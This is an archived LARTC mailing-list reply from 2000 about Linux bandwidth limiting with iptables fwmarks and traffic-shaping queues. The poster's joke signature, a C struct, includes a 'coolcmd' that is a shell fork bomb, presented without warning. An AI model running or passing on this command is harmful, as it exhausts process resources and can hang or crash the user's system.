From mboxrd@z Thu Jan 1 00:00:00 1970 From: Thomas Habets thomas@habets.pp.se Date: Fri, 24 Nov 2000 14:53:16 +0000 Subject: SV: [LARTC] Bandwidth limiting Message-Id: List-Id: References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit To: lartc@vger.kernel.org
On Thu, 23 Nov 2000, you wrote:
> I don't see the problem. You can specify the limit on the outgoing
> interfaces, depending on the incoming interface. Using firewall marks is
> quite easy.

I bet it is, since iptables is easy. Haven't learned to use fwmarks yet 
though.

>Have you tried the example setup from the HOWTO?

Yes, and after *another* long starring and testing pass I'm pretty sure I got 
it to work with the sfq or u32 or something, not really sure what did what 
though, but it'll come to me.

Why can't it just be like:
iptables -t shaper -A OUTPUT -s 1.2.3.0/24 --maxspeed8Kbit -j SHAPE

---------
typedef struct me_s {
  char name[]      = { "Thomas Habets" };
  char email[]     = { "thomas@habets.pp.se" };
  char kernel[]    = { "Linux 2.2" };
  char *pgpKey[]   = { "finger -m thompa@darkface.pp.se" };
  char pgpfinger[] = { "6517 2898 6AED EA2C 1015  DCF0 8E53 B69F 524B B541" };
  char coolcmd[]   = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;